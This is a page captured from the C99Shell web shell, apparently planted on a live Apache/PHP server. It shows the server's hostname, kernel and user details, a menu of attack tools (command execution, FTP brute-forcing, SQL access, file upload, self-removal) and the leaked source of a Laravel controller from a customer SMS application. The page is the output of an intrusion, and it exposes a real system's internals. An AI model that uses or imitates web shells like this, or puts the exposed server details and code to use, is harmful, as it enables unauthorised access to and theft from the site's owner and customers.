!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picotext.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.9 GB of 117.98 GB (24.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NumberController.php (5.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\BillingRequest;
use 
App\Models\CustomerNumber;
use 
App\Models\NumberRequest;
use 
App\Models\Plan;
use 
App\Models\Customer;
use 
App\Models\User;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Carbon;

class 
NumberController extends Controller
{

    public function 
updateForwardTo(Request $request){

        
$numbers auth('customer')->user()->numbers()->where('id',$request->id)->first();
        if(!
$numbers) return redirect()->back()->withErrors(['msg'=>'Number not found']);

        
$numbers->forward_to_dial_code=$request->forward_to_dial_code;
        
$numbers->forward_to=$request->forward_to;
        
$numbers->save();
        return 
redirect()->back()->with('success','Forward number updated successfully');
    }


//    CRUD
    
public function index(){
        return 
view('customer.numbers.index');
    }

    public function 
getAll(){
        
$customers=auth('customer')->user()->numbers()->select(['id','type','number','forward_to','forward_to_dial_code','webhook_method','dynamic_gateway_id','status','created_at'])->orderByDesc('created_at');
        return 
datatables()->of($customers)
            ->
addColumn('created_at',function($q){
                return 
$q->created_at->format('d-m-Y');
            })
            ->
addColumn('type',function($q){
                return 
str_replace('_','',ucwords($q->type));
            })
            ->
addColumn('number',function($q){
                return 
$q->number;
            })
            ->
addColumn('forward_to_dial_code',function($q){
                return 
$q->forward_to_dial_code;
            })
            ->
addColumn('forward_to',function($q){
                return 
$q->forward_to;
            })
            ->
addColumn('webhook_method',function($q){
                return 
$q->webhook_method;
            })
            ->
addColumn('from',function($q){
                return 
$q->gateway->name;
            })
            ->
addColumn('status',function($q){
                if(
$q->status=='active') {
                    
$status '<b class="text-success font-weight-bold">' ucfirst($q->status) . '</b>';
                }else{
                    
$status '<b class="text-danger font-weight-bold">' ucfirst($q->status) . '</b>';
                }
                return 
$status;
            })
            ->
addColumn('action',function($q){
                return 
"<a class='btn btn-sm btn-info' href='".route('customer.numbers.edit',[$q->id])."'>Edit</a> &nbsp; &nbsp;".
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this number?"
                                        data-action='
.route('customer.numbers.destroy',[$q]).'
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm">Delete</button>' 
;
            })
            ->
rawColumns(['action','status'])
            ->
toJson();
    }

    public function 
create(){
       
$data['gateways']=auth('customer')->user()->gateways()->where('status''active')->get();

        return 
view('customer.numbers.create'$data);
    }




    public function 
store(Request $request){
        
$request->validate([
            
'number'=>'required|unique:customer_numbers',
            
'dynamic_gateway_id'=>'required',
            
'status'=>'required|in:active,inactive',
            
'type'=>'required|in:number,sender_id,whatsapp,voice',
        ]);

        if (
is_int($request->number)) {
            
$request['number'] = "+" str_replace('+'''$request->number);
        } else {
            
$request['number'] = $request->number;
        }
        
$gateway=auth('customer')->user()->gateways()->where('id'$request->dynamic_gateway_id)->firstOrFail();

        
auth('customer')->user()->numbers()->create(['type'=>$request->type,'number' => $request->number'forward_to_dial_code' => $request->forward_to_dial_code,
            
'forward_to' $request->forward_to'webhook_url' => $request->webhook_url'webhook_method' => $request->webhook_method,'dynamic_gateway_id'=>$gateway->id]);

        return 
redirect()->route('customer.numbers.index')->with('success','Number successfully created');
    }

    public function 
edit(CustomerNumber $number){
        
$data['number']=$number;
        
$allgateWays=[];
        foreach(
getAllSmsGateway() as $gateway){
            
$credentials json_decode(get_settings($gateway));
            if (
$credentials) {
                
$allgateWays[] = $gateway;
            }
        }

        
$data['allgateWays']=$allgateWays;
        return 
view('customer.numbers.edit',$data);
    }

    public function 
update(CustomerNumber $number,Request $request){
        
$request->validate([
            
'status'=>'required|in:active,inactive',
            
'type'=>'required|in:number,sender_id,whatsapp,voice',
        ]);

        
$valid_data=$request->only('type','forward_to_dial_code','forward_to','status','webhook_method','webhook_url');
        
//update the model
        
$number->update($valid_data);

        return 
redirect()->route('customer.numbers.index')->with('success','Number successfully updated');
    }
    public function 
destroy(CustomerNumber $number){
        
$number->delete();
        return 
back()->with('success','Number successfully deleted');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--